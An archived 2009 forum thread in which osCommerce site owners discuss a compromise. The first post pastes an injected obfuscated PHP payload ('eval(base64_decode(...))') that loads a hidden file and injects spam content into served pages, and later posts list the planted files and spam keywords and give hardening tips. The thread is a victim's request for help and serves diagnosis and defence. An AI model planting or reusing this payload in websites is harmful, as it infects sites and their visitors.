Did Someone hack my site ? ( Eval Base64 Decode )
#1
Posted 05 September 2009 - 12:38 PM
What is this ? I sure as hell did not put it there ? Should I erase it all ?
Can I tell when it was added ?
<?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ3NoX25vJ10p
KXskR0xPQkFMU1snc2hfbm8nXT0xO2lmKGZpbGVfZXhpc3RzKCcvaG9tZS91c2Vycy93ZWIvYjk2OS9pc
HcuYWN0aXZlL3B1YmxpY19odG1sL2FkbWluL2luY2x1ZGVzL2xhbmd1YWdlcy9lbmdsaXNoL2ltYWdlcy
9idXR0b25zL3N0eWxlLmNzcy5waHAnKSl7aW5jbHVkZV9vbmNlKCcvaG9tZS91c2Vycy93ZWIvYjk2OS9
pcHcuYWN0aXZlL3B1YmxpY19odG1sL2FkbWluL2luY2x1ZGVzL2xhbmd1YWdlcy9lbmdsaXNoL2ltYWdl
cy9idXR0b25zL3N0eWxlLmNzcy5waHAnKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiYhZnVuY3Rpb
25fZXhpc3RzKCdkZ29iaCcpKXtpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZScpKXtmdW5jdGlvbi
BnemRlY29kZSgkUjIwRkQ2NUU5Qzc0MDYwMzRGQURDNjgyRjA2NzMyODY4KXskUjZCNkU5OENERThCMzM
wODdBMzNFNEQzQTQ5N0JEODZCPW9yZChzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjcz
Mjg2OCwzLDEpKTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxPTEwOyRSMEQ1NDIzNkRBM
jA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9MDtpZigkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEOD
ZCJjQpeyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9dW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T09RkFMU0UpeyRSQzRBNUI1RTMxMEVENEMzMjNFMDRE
NzJBRkFFMzlGNTM9JFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2ODt9cmV0dXJuICRSQzRBN
UI1RTMxMEVENEMzMjNFMDRENzJBRkFFMzlGNTM7fX1mdW5jdGlvbiBkZ29iaCgkUkRBM0U2MTQxNEU1ME
FFRTk2ODEzMkYwM0QyNjVFMENGKXtIZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6IG5vbmUnKTskUjNFMzN
FMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwPWd6ZGVjb2RlKCRSREEzRTYxNDE0RTUwQUVFOTY4MTMy
RjAzRDI2NUUwQ0YpO2lmKHByZWdfbWF0Y2goJy9cPGJvZHkvc2knLCRSM0UzM0UwMTdDRDc2QjlCN0U2Q
zczNjRGQjkxRTJFOTApKXtyZXR1cm4gcHJlZ19yZXBsYWNlKCcvKFw8Ym9keVteXD5dKlw+KS9zaScsJy
QxJy5nbWwoKSwkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKTt9ZWxzZXtyZXR1cm4gZ21
sKCkuJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MDt9fW9iX3N0YXJ0KCdkZ29iaCcpO319
fQ==')); ?>
#2
Posted 05 September 2009 - 12:58 PM
"Given enough impetus a parallelogramatically shaped projectile can egress a circular orifice."
- Me -
"Headers already sent" - The definitive help
"Cannot redeclare ..." - How to find/fix it
SSL Implementation Help
Like this post? "Like" it again over there >
#3
Posted 05 September 2009 - 01:30 PM
Quote
"Given enough impetus a parallelogramatically shaped projectile can egress a circular orifice."
- Me -
"Headers already sent" - The definitive help
"Cannot redeclare ..." - How to find/fix it
SSL Implementation Help
Like this post? "Like" it again over there >
#4
Posted 05 September 2009 - 01:44 PM
in someones site last week, another good reason why people need to increase security, at the very least change the admin folder name.
#5
Posted 07 September 2009 - 06:07 PM
You were correct on the file being on the hackers. I deleted it and cleaned the other files however now I am having some problems.
I cant log into my admin at all . Nothing comes up.
I am getting the old permissions warning on the includes/configure.php file which is set to 444 and I cant figure out why. Aaarg !!!
Why are people such douche bags ??
Any help with these problems would be greatly appreciated .
#6
Posted 07 September 2009 - 06:14 PM
I expect that your host has error reporting off, so you will need to view your server error logs or read this article
click me to get the code to add
#7
Posted 07 September 2009 - 06:15 PM
#8
Posted 07 September 2009 - 06:46 PM
Almost every php file within the osCommerce hierarchy. /admin, /catalog.
All with the same time stamp of Sep 04 2009 07:36 PST.
This is an automated hack. It finds you, embeds itself, and spreads itself around.
This appears very similar to one I saw last year.
I contacted my hosting provider, and they said there was nothing they could or would do.
"Try osCommerce. It's their code vulnerabilities. Fix the scripts."
This is one of the reasons I went through the trouble of moving to a new hosting service,
and upgrading to the v2.2 RC2a.
The previous version had some security issues.
Apparently, so does this one.
I am about done with trying to clean up my site on a weekly basis.
Only to have this garbage re-infecting my site again and again.
#9
Posted 07 September 2009 - 06:47 PM
#10
Posted 07 September 2009 - 07:06 PM
it embeds the eval stuff at the front of every php file. Which then runs more scripts that have been burried
deeper within your file system.
I found these in /admin/includes/languages/english/modules/index
cnf
csi
customers.php
dg.php
lock
orders.php
s.php
skwd
style.css.php
style.css.php.orig
swf
Only two of which are my original files: customers.php and orders.php.
cnf: ASCII text
csi: ASCII text
dg.php: PHP script text
lock: empty
s.php: PHP script text
skwd: ASCII text, with CRLF line terminators
style.css.php: PHP script text
style.css.php.orig: PHP script text
swf: Macromedia Flash data (compressed), version 9
csi has an IP address and a UNIX time stamp.
The IP address resolves to some tpnet.pl, a dialup service in Warsaw, Poland.
The file skwd is a list of random search words:
tramadol
blackjack
craps
onlinecasino
propecia
pokerstars
fulltiltpoker
gambling
casino
casinos
alprazolam
soma
ambien
cialis
ultram
viagra
fioricet
xanax
fiericet
slot
baccarat
carisoprodol
keno
muscle
valium
deposit
deposits
levitra
zoloft
acomplia
acyclovir
betting
realtytrac
intercasino
zithromax
diazepam
sildenafil
tadalafil
valtrex
No doubt to be used by Google and other search engines to be linked back to your site,
at locations that have nothing to do with your ecommerce content.
Last time, it was some porno sites in China and Russia.
And visitors to your site will now be the happy beneficiaries of virii.
I received threats from people saying that I was a porno spammer. Sheesh.
But this variation isd much more sophisticated.
The prior version was not nearly as prolific, or buried as deep.
I am still faced with the prospect of re-uploading my entire site contents,
and resetting all of the directory and file permissions. Hours and hours.
And without some reassurance that the vulnerabilities will be fixed in the next six months,
I am forced to make the decision to either check the site daily, or to find a new ecommerce solution.
#11
Posted 07 September 2009 - 07:58 PM
Siteground want $50 to fix it or $150 for a 99.9% solution.
What I cannot fathom is what they get out of it!!
#12
Posted 07 September 2009 - 09:25 PM
It is virtually untraceable. And self replicating. This thing could have been sent out months ago.
As it finds more sites that support php (osCommerce, specifically), it knows precise vulnerabilities.
It is our job to figure out how, and to block yet another hole.
But don't expect your service provider's tech support to offer you anything more than README files,
and a more expensive solution.
That's exactly what I want to do with my next two weeks: Start all over again with yet another eCommerce package,
customizing the cosmetics, developing a new database of products, and finding another hosting company. Oh joy.
#13
Posted 07 September 2009 - 09:54 PM
Main thing is to rename your admin and protect it via your host panel. Read the tips and tricks sectio it is full of information on how to protect yourself and your customers.
#14
Posted 07 September 2009 - 09:55 PM
The direct link to the secure your site info.
#15
Posted 07 September 2009 - 11:18 PM
blueflametuna, on Sep 7 2009, 01:46 PM, said:
Almost every php file within the osCommerce hierarchy. /admin, /catalog.
All with the same time stamp of Sep 04 2009 07:36 PST.
This is an automated hack. It finds you, embeds itself, and spreads itself around.
This appears very similar to one I saw last year.
I contacted my hosting provider, and they said there was nothing they could or would do.
"Try osCommerce. It's their code vulnerabilities. Fix the scripts."
This is one of the reasons I went through the trouble of moving to a new hosting service,
and upgrading to the v2.2 RC2a.
The previous version had some security issues.
Apparently, so does this one.
I am about done with trying to clean up my site on a weekly basis.
Only to have this garbage re-infecting my site again and again.
It's been my observation that more often than not it's usually because of the way the site is setup and NOT the software behind it.
The site I manage isn't even running the latest V2 of osC and in the 2+ years we've been on the net we've only had two minor "bumps in the road".
My observation has been that over 90% of the sites that get hacked are because they have a folder (/images or /catalog/images or /admin/backups usually) set with 777 permissions.
It is an undeniable truth that if you have a FOLDER with 777 permissions, because of the way most servers are set up, it's usually only matter of time before you get hacked.
Not IF, just WHEN and HOW BAD.
Folder permissions should NEVER be higher tha 755 - EVER.
These hackers can even get behind the .htaccess file "protecting" the admin if there is a folder back there with 777 permissions. I've seen it happen.
Edited by germ, 07 September 2009 - 11:19 PM.
"Given enough impetus a parallelogramatically shaped projectile can egress a circular orifice."
- Me -
"Headers already sent" - The definitive help
"Cannot redeclare ..." - How to find/fix it
SSL Implementation Help
Like this post? "Like" it again over there >
#16
Posted 07 September 2009 - 11:50 PM
There are absolutely no files or folders now, or in the past that were ever set to 777. This was the first thing I checked then,
and is something I have just verified again now.
Yours is an easy and obvious suggestion, but not valid in this case. The files are owned by my account, and the server runs with my ownership permissions. The software is permitting the server to overwrite my own files in place, then executing them. It does not need "other" write permissions if it can run as the "owner".
I submit that there ARE vulnerabilities in the code, and that even with "best practices" and a secure server,
these hackers are able to circumvent this and do their evil.
They are not logging in, they are not using FTP. These are self-midifying scripting tactics, through some form of an input validation bypass, or form processing technique.
#17
Posted 08 September 2009 - 12:04 AM
Security is only as strong as the weakest link.
There are a lot of relatively new FTP viruses than can infect your PC, and thru that gain access to your site.
If your PC is compromised (and post people can't tell) then your site may be as well.
And just because you have an up-to-date antivirus running doesn't necessarily mean your PC is "clean".
I used to do a lot of help/posting on an anti-virus/anti malware removal site.
Most everyone that had a virus I saw also had an up-to-date antivirus running. I never could figure that one out.
There are a few contributions that have known security issues that I have seen.
And there might be unknown flaws in the base code.
I'm not saying it's immune. I really don't know.
My experience is that it's the inexperience of most site owners/operators that leads to problems like this more times than not.
"Given enough impetus a parallelogramatically shaped projectile can egress a circular orifice."
- Me -
"Headers already sent" - The definitive help
"Cannot redeclare ..." - How to find/fix it
SSL Implementation Help
Like this post? "Like" it again over there >
#18
Posted 08 September 2009 - 01:00 AM
The files were edited in place by prepending the one line <?php eval(base64_decode ... to nearly 1,000 files at once.
This has nothing to do with a virus on my PC.
It has only to do with a vulnerability within the osCommerce software that they are able to take advantage of.
In the previous version, they used global variables. I upgraded to rc2a so that it would no longer use them.
Now there is something new, but I suspect, very similar in its design.
Unfortunately, I do not have archives of the access logs, so I cannot prove it, nor enough real-time data to pursue a forensics investigation.
I am not a newbie. (Or is it NOOB these days?) I do not even attempt to keep up with the current vernacular,
or local colloquialisms of new age netiquette. But I can still find my way around a keyboard, and navigate through
thousands of lines of code, if need be. It is just frustrating that I should need to. It's a shopping cart app.
#19
Posted 08 September 2009 - 03:35 AM
Any "finger pointing" at this point in time is mere conjecture.
I've only had two minor "blurps" in two and a half years, and they were my fault.
It seems to work for the site I manage so I'm staying.
"Given enough impetus a parallelogramatically shaped projectile can egress a circular orifice."
- Me -
"Headers already sent" - The definitive help
"Cannot redeclare ..." - How to find/fix it
SSL Implementation Help
Like this post? "Like" it again over there >
#20
Posted 08 September 2009 - 04:36 AM
I am still trying to get my site back up and running because of this crap =/









